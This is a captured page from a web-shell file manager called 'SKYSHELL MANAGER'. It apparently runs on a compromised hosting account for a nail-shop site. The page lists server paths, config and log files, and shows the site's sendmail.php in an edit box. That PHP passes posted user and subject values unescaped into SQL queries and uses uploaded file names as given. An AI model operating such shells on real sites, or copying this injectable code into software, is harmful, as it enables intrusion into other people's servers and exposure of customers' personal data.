📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
4999.53 KB
0644
🗑️
⬇️
✏️
🔒
Editing: sendmail.php
<?php if(isset($_POST['sendmessage'])){ $mainmessage= $_POST['message']; $subject = $_POST['subject']; $user = $_POST['user']; $date=date('Y-m-d H:i:s'); $sql = "SELECT * FROM users WHERE id='$user'"; $sql2 = mysqli_query($con, $sql); while ($row = mysqli_fetch_array($sql2)) { $customername = $row['name']; $customerphone = $row['phone']; $customermail = $row['email']; } $message = mysqli_real_escape_string($con,$mainmessage); //Send Message $submit = mysqli_query($con,"insert into sent_mails(`s`,`user`, `staff`, `subject`, `message`, `date`, `status`) VALUES ('', '$user', '$name','$subject','$message','$date','sent')") or die ('Could not connect: ' .mysqli_error($con)); $attach=""; // File upload path $targetDir = "../../attachments/"; $fileName = basename($_FILES["file"]["name"]); $targetFilePath = $targetDir . $fileName; $fileType = pathinfo($targetFilePath,PATHINFO_EXTENSION); if(isset($_POST["sendmessage"]) && !empty($_FILES["file"]["name"])){ // Allow certain file formats $allowTypes = array('jpg','png','jpeg','gif','pdf','doc','docx','webp'); if(in_array($fileType, $allowTypes)){ // Upload file to server if(move_uploaded_file($_FILES["file"]["tmp_name"], $targetFilePath)){ // Insert image file name into database $insert = mysqli_query($con,"INSERT into images (file_name,input,uploaded_on) VALUES ('".$fileName."','staff', NOW())"); $attach="<p><a href='https://chbluxuries.com/attachments/$fileName' style='color:#FF339A; text-decoration:underline; font-weight:600; font-size:16px;' >View Attached File</a></p>"; if($insert){ $statusMsg = "The file ".$fileName. " has been uploaded successfully."; }else{ $statusMsg = "File upload failed, please try again."; } }else{ $statusMsg = "Sorry, there was an error uploading your file."; } }else{ $statusMsg = 'Sorry, only JPG, JPEG, PNG, GIF, & PDF files are allowed to upload.'; } }else{ $statusMsg = 'Please select a file to upload.'; } ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $email_message = ""; $email_from = "admin@chbluxuries.com"; $email_to = $customermail; $email_subject = $subject ; $email_message =" <div style='background-color:#000000; color:#fff !important; padding:50px; '> <p><img src='https://chbluxuries.com/img/favicon.jpg' width='100px' height='100px' /></p><br><br> <p style='color:#fff !important;'>Hello Dear $customername,</p> <p style='color:#fff !important;'>$message</p> $attach <br><br> <p style='text-align:center; color:#fff;'> Visit our website: <a href='https://chbluxuries.com/' style='color:#FF339A; text-decoration:underline;'> CHB NAIL SHOP </a> </p> </div> "; // create email headers $header = 'From: "CHBLUXURY NAIL SHOP" <admin@chbluxuries.com>'. "\r\n"; $header .= "Cc:admin@chbluxuries.com \r\n"; $header .= 'Reply-To: admin@chbluxuries.com' . "\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html\r\n"; if(!@mail($email_to, $email_subject, $email_message, $header)){ echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>';} else{ echo "<script>alert('Message sent to user successfully!');</script>"; header("refresh:1"); }} ?>
💾 Save Changes